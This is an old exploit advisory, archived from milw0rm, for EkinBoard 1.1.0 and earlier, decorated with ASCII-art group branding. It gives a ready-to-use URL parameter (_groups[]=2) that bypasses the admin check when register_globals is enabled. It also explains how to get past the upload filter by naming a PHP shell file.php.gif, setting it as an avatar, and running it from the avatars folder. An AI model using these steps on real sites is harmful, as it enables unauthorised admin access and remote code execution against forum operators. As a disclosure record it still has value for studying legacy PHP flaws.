EkinBoard <= 1.1.0 - Remote File Upload / Auth Bypass Vulnerabilities

----[ EkinBoard Remote File Upload / Auth Bypass ... ITDefence.ru Antichat.ru ] EkinBoard &#62;= 1.1.0 Remote File Upload / Auth Bypass Eugene Minaev underwater@itdefence.ru ___________________________________________________________________ ____/ __ __ _______________________ _______ _______________ \ \ \ / .\ / /_// // / \ \/ __ \ /__/ / / / /_// /\ / / / / /___/ \/ / / / / /\ / / / / / \/ / / / / /__ //\ \ / ____________/ / \/ __________// /__ // / /\\ \_______/ \________________/____/ 2007 /_//_/ // //\ \ \\ // // / .\ \\ -[ ITDEFENCE.ru Security advisory ]- // // / . . \_\\________[________________________________________]_________//_//_/ . . We can bypass admin authorization if register_globals on . All admin panel script include this code &#60;?php if(!in_array(2, $_groups)){ die(&#34;&#60;center&#62;&#60;span class=red&#62;You need to be an admin to access this page!&#60;/span&#62;&#60;/center&#62;&#34;); } ?&#62; test1.ru/skvoznoy/backup.php?_groups[]=2 There is a bug in upload function . We can upload any file bypass filters . Name your shell like file.php.gif and select it as your avatar . Then check uploaded/avatars/filename_your_id.php ----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ] # milw0rm.com [2008-01-07]